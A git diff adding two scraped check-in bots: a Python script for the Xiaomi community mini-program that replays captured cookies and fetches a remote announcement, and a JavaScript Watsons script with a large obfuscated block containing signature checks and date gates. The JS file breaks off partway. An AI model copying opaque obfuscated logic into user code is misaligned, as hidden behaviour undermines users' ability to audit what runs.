b/脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py @@ -0,0 +1,128 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py +# Repo: jdqlscript/toulu +# Path: 小米社区小程序签到.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 3c6fe4dfa4e8ed6ec83d117595336e599be3b579d2ce6bbacfcca434a94ec800 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +import os +import requests +import json + + +#cookie在https://account.xiaomi.com/pass/sns/wxapp/v2/tokenLogin链接下 +#变量名xmsq,多账号使用&分割 +def get_cookies_from_env(): + """ + 从环境变量中获取cookie值,多账号使用&分割 + """ + xmsq = os.getenv("xmsq") + if not xmsq: + raise ValueError("环境变量中未找到xmsq,请确保已正确设置环境变量。") + return xmsq.split("&") + +def get_login_data(cookie): + """ + 发送登录请求,获取签到所需的参数 + """ + url = "https://account.xiaomi.com/pass/sns/wxapp/v2/tokenLogin" + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Referer": "https://servicewechat.com/wx240a4a764023c444/3/page-frame.html", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300333 MMWEBSDK/20241202 MMWEBID/3628 MicroMessenger/8.0.56.2800(0x28003858) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Accept-Encoding": "gzip, deflate, br" + } + data = { + "appid": "wx240a4a764023c444", + "sid": "miui_vip", + "authType": "0", + "callback": "" + } + + response = requests.post(url, headers=headers, data=data) + if response.status_code == 200: + return response.json() + else: + raise Exception(f"登录请求失败,状态码:{response.status_code}") + +def checkin(miui_vip_ph, serviceToken, userId): + """ + 执行签到操作 + """ + url = "https://api.vip.miui.com/mtop/planet/vip/member/addCommunityGrowUpPointByActionV2" + headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c25)XWEB/11581", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "Origin": "https://servicewechat.com", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://servicewechat.com/wx240a4a764023c444/3/page-frame.html", + "Accept-Language": "zh-CN,zh;q=0.9" + } + cookies = { + "serviceToken": serviceToken, + "miui_vip_ph": miui_vip_ph, + "userId": str(userId) + } + params = {"miui_vip_ph": miui_vip_ph} + data = {"action": "WECHAT_CHECKIN_TASK"} + + response = requests.post(url, headers=headers, cookies=cookies, params=params, data=data) + return response.json() + +def handle_checkin_result(phone, result): + """ + 处理签到结果并输出通知 + """ + if result.get("status") == 200: + print(f"{phone} 签到成功!") + elif result.get("status") == -1 and result.get("message") == "加分失败": + print(f"{phone} 签到失败:今天已经签到过了。") + elif result.get("code") == 401: + print(f"{phone} 签到失败:参数错误或登录信息失效。") + else: + print(f"{phone} 签到失败:未知错误。返回结果:{result}") + +def get_announcement(): + """ + 获取公告信息 + """ + external_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + try: + response = requests.get(external_url) + if response.status_code == 200: + print(response.text.strip()) # 打印公告内容 + print("公告获取成功,开始执行签到请求...") + else: + print(f"获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}") + +def main(): + try: + # 获取公告 + get_announcement() + + # 获取环境变量中的cookie + cookies = get_cookies_from_env() + for cookie in cookies: + login_data = get_login_data(cookie) + miui_vip_ph = login_data["miui_vip_ph"] + serviceToken = login_data["serviceToken"] + userId = login_data["passportProfile"]["userId"] + phone = login_data["passportProfile"]["phone"] # 获取 phone 值 + + # 执行签到 + checkin_response = checkin(miui_vip_ph, serviceToken, userId) + handle_checkin_result(phone, checkin_response) + except Exception as e: + print(f"发生错误: {e}") + +if __name__ == "__main__": + main() diff --git a/脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js b/脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js new file mode 100644 index 0000000..f1bd18e --- /dev/null +++ b/脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js @@ -0,0 +1,509 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/qcs.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qcs.js +// # Repo: imoki/sign_script +// # Path: polymerization/qcs.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: ab94ff3b2ee74d7196a373051f02b18694cfbb528b929f842c1d70b6d80e12e7 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* + name: "屈臣氏" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20241025 + 环境变量名:qcs + 环境变量值:authorization#openId#unionId + 备注:需要authorization、openId、unionId,抓小程序的包。 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "qcs"; // 分配置表名称, (修改这里) +var pushHeader = "屈臣氏"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var openId = "" +var unionId = "" + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() 